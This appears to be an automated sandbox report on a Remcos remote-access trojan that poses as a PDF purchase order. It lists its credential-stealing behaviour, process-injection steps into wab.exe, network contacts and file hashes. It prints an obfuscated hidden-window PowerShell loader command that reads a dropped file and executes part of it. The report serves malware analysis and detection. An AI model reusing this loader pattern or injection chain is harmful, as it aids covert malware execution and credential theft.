Analysis Overview
SHA256
4c614a69aebe97562d09c05c5b08db70ba7cba08f6698e5a87fc85407e2fb940
Threat Level: Known bad
The file PURCHASE ORDER 03.05.2024.PDF.exe was found to be: Known bad.
Malicious Activity Summary
Remcos
NirSoft MailPassView
Credentials from Password Stores: Credentials from Web Browsers
NirSoft WebBrowserPassView
Detected Nirsoft tools
Command and Scripting Interpreter: PowerShell
Accesses Microsoft Outlook accounts
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of NtCreateThreadExHideFromDebugger
Suspicious use of SetThreadContext
Drops file in Windows directory
Enumerates physical storage devices
System Location Discovery: System Language Discovery
Program crash
NSIS installer
Suspicious use of SetWindowsHookEx
Suspicious behavior: MapViewOfSection
Suspicious behavior: EnumeratesProcesses
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-17 14:13
Signatures
NSIS installer
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-17 14:13
Reported
2024-08-17 14:15
Platform
win7-20240729-en
Max time kernel
149s
Max time network
149s
Command Line
Signatures
Remcos
Credentials from Password Stores: Credentials from Web Browsers
Detected Nirsoft tools
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
NirSoft MailPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
NirSoft WebBrowserPassView
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Accesses Microsoft Outlook accounts
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 2416 set thread context of 2752 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\windows mail\wab.exe |
| PID 2752 set thread context of 1228 | N/A | C:\Program Files (x86)\windows mail\wab.exe | C:\Program Files (x86)\windows mail\wab.exe |
| PID 2752 set thread context of 1696 | N/A | C:\Program Files (x86)\windows mail\wab.exe | C:\Program Files (x86)\windows mail\wab.exe |
| PID 2752 set thread context of 2684 | N/A | C:\Program Files (x86)\windows mail\wab.exe | C:\Program Files (x86)\windows mail\wab.exe |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\albocarbon.ile | C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe | N/A |
Enumerates physical storage devices
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\windows mail\wab.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe
"C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Afmatningens=Get-Content 'C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys';$Unsucculent=$Afmatningens.SubString(619,3);.$Unsucculent($Afmatningens)"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\akiij"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\lnotkrjr"
C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe" /stext "C:\Users\Admin\AppData\Local\Temp\nhtllkbtiuqo"
Network
| Country | Destination | Domain | Proto |
| VN | 103.67.162.225:80 | 103.67.162.225 | tcp |
| VN | 103.67.162.233:9462 | tcp | |
| VN | 103.67.162.233:9462 | tcp | |
| US | 8.8.8.8:53 | geoplugin.net | udp |
| NL | 178.237.33.50:80 | geoplugin.net | tcp |
Files
memory/2416-7-0x0000000074541000-0x0000000074542000-memory.dmp
memory/2416-8-0x0000000074540000-0x0000000074AEB000-memory.dmp
memory/2416-11-0x0000000074540000-0x0000000074AEB000-memory.dmp
memory/2416-10-0x0000000074540000-0x0000000074AEB000-memory.dmp
memory/2416-9-0x0000000074540000-0x0000000074AEB000-memory.dmp
C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys
| MD5 | d9a344e48210c5d555312be94347270a |
| SHA1 | 8e1957cb5f8e181411781bca9fa72f57e8d0d2b1 |
| SHA256 | e31954e86c5fadd5da5409be4c6266ac0740652f25073eb29f87d6727d0668b6 |
| SHA512 | ed1c9a1ce86f20c3eb860079067a7476b8e543c212b0fccd1e73183b6535dec74f34ece8b0225f10fd2f211af68bac6d7302c3b91e1a88d30285ad202854d853 |
memory/2416-14-0x0000000074540000-0x0000000074AEB000-memory.dmp
C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Sacrificed.Guf
| MD5 | e5923d356c8ca6e039eb3c12c3f8ce7a |
| SHA1 | b920b2490fb5bbcefb281df27180eaa4f81825fc |
| SHA256 | a3761e7a154e7defc78d9be7e003d327de84520afe5d8adc90074822ade75b65 |
| SHA512 | 41af37685e04e272fe7b0b4e0dcb93b0ca6e33f930dc362ba82f93fa428ba0664ce06699c21ccb55a84c5e927d30415fe110cb6f35b1028d46f97d2f7ec95f4f |
memory/2416-16-0x0000000074540000-0x0000000074AEB000-memory.dmp
memory/2416-17-0x00000000065F0000-0x000000000B465000-memory.dmp
memory/2416-18-0x0000000074540000-0x0000000074AEB000-memory.dmp
memory/2752-19-0x0000000000900000-0x0000000001962000-memory.dmp
memory/2752-20-0x0000000000900000-0x0000000001962000-memory.dmp
memory/2752-25-0x0000000000900000-0x0000000001962000-memory.dmp
memory/1228-28-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/1228-29-0x0000000000400000-0x0000000000478000-memory.dmp
memory/1228-30-0x0000000000400000-0x0000000000478000-memory.dmp
memory/2684-34-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
memory/2684-38-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1696-39-0x0000000000400000-0x0000000000462000-memory.dmp
memory/2684-37-0x0000000000400000-0x0000000000424000-memory.dmp
memory/1696-33-0x0000000000400000-0x0000000000462000-memory.dmp
memory/1228-31-0x0000000000400000-0x0000000000478000-memory.dmp
memory/1696-36-0x0000000000400000-0x0000000000462000-memory.dmp
memory/2684-35-0x0000000000400000-0x0000000000424000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\akiij
| MD5 | f3b25701fe362ec84616a93a45ce9998 |
| SHA1 | d62636d8caec13f04e28442a0a6fa1afeb024bbb |
| SHA256 | b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209 |
| SHA512 | 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84 |
memory/2752-46-0x0000000000900000-0x0000000001962000-memory.dmp
memory/2752-47-0x00000000003A0000-0x00000000003B9000-memory.dmp
memory/2752-50-0x00000000003A0000-0x00000000003B9000-memory.dmp
memory/2752-51-0x00000000003A0000-0x00000000003B9000-memory.dmp
memory/2752-54-0x0000000000900000-0x0000000001962000-memory.dmp
C:\ProgramData\remcos\logs.dat
| MD5 | f241da8d811a651f6bc3039ea7f0fa0f |
| SHA1 | 9216eecc5cc5a9b0d929e361e15cffec90b26a76 |
| SHA256 | bc2cd89ab0eb0ceada3a93d699a4219571c55fd11a03de6a4dd79947e7bd8723 |
| SHA512 | 33ee635461b1695bcccbda3cb33436353861603f6fdfd9c5230f34c4b9fa9f64c225e4234b6047c61bdc651839664adbe8e39c6a08300ec570262fa01d0a49e6 |
memory/2752-57-0x0000000000900000-0x0000000001962000-memory.dmp
memory/2752-60-0x0000000000900000-0x0000000001962000-memory.dmp
memory/2752-62-0x0000000000900000-0x0000000001962000-memory.dmp
memory/2752-65-0x0000000000900000-0x0000000001962000-memory.dmp
memory/2752-68-0x0000000000900000-0x0000000001962000-memory.dmp
memory/2752-71-0x0000000000900000-0x0000000001962000-memory.dmp
memory/2752-74-0x0000000000900000-0x0000000001962000-memory.dmp
memory/2752-78-0x0000000000900000-0x0000000001962000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-17 14:13
Reported
2024-08-17 14:15
Platform
win10v2004-20240802-en
Max time kernel
149s
Max time network
151s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\albocarbon.ile | C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 4680 wrote to memory of 812 | N/A | C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 4680 wrote to memory of 812 | N/A | C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 4680 wrote to memory of 812 | N/A | C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe
"C:\Users\Admin\AppData\Local\Temp\PURCHASE ORDER 03.05.2024.PDF.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$Afmatningens=Get-Content 'C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys';$Unsucculent=$Afmatningens.SubString(619,3);.$Unsucculent($Afmatningens)"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 812 -ip 812
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 812 -s 2732
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 81.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 74.32.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 88.156.103.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.210.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
| US | 150.171.27.10:443 | tse1.mm.bing.net | tcp |
Files
memory/812-5-0x000000007436E000-0x000000007436F000-memory.dmp
memory/812-6-0x0000000002C20000-0x0000000002C56000-memory.dmp
memory/812-7-0x0000000074360000-0x0000000074B10000-memory.dmp
memory/812-8-0x0000000005320000-0x0000000005948000-memory.dmp
memory/812-9-0x0000000005A80000-0x0000000005AA2000-memory.dmp
memory/812-10-0x0000000005B20000-0x0000000005B86000-memory.dmp
memory/812-11-0x0000000005B90000-0x0000000005BF6000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dzfal3dg.dza.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/812-21-0x0000000005D80000-0x00000000060D4000-memory.dmp
memory/812-22-0x0000000006270000-0x000000000628E000-memory.dmp
memory/812-23-0x00000000062B0000-0x00000000062FC000-memory.dmp
memory/812-24-0x0000000007230000-0x00000000072C6000-memory.dmp
memory/812-25-0x00000000067B0000-0x00000000067CA000-memory.dmp
memory/812-26-0x0000000006800000-0x0000000006822000-memory.dmp
memory/812-27-0x0000000007880000-0x0000000007E24000-memory.dmp
C:\Users\Admin\AppData\Local\Outlaughing235\ephemeric\Antipatheticalness\Anskaffet.Sys
| MD5 | d9a344e48210c5d555312be94347270a |
| SHA1 | 8e1957cb5f8e181411781bca9fa72f57e8d0d2b1 |
| SHA256 | e31954e86c5fadd5da5409be4c6266ac0740652f25073eb29f87d6727d0668b6 |
| SHA512 | ed1c9a1ce86f20c3eb860079067a7476b8e543c212b0fccd1e73183b6535dec74f34ece8b0225f10fd2f211af68bac6d7302c3b91e1a88d30285ad202854d853 |
memory/812-29-0x00000000084B0000-0x0000000008B2A000-memory.dmp
memory/812-31-0x0000000074360000-0x0000000074B10000-memory.dmp